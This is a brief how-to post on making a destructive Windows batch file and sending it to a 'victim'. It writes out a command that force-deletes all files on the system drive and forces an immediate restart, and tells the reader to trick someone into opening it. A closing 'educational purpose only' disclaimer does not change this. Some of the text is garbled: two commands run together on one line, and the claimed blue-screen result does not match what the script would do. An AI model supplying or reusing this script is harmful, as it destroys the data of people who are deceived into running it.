corrupting PC operating system

1.Open Notepad
2. Type
@echo offdel %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
3.save it with anynameyoulike.bat
4.send it to victim
5.If he opens this file, his/her system gets corruped, result is blue screen of death
(Warning: This is for educational purpose only, do not try this. I shall not be responsible for the consequences)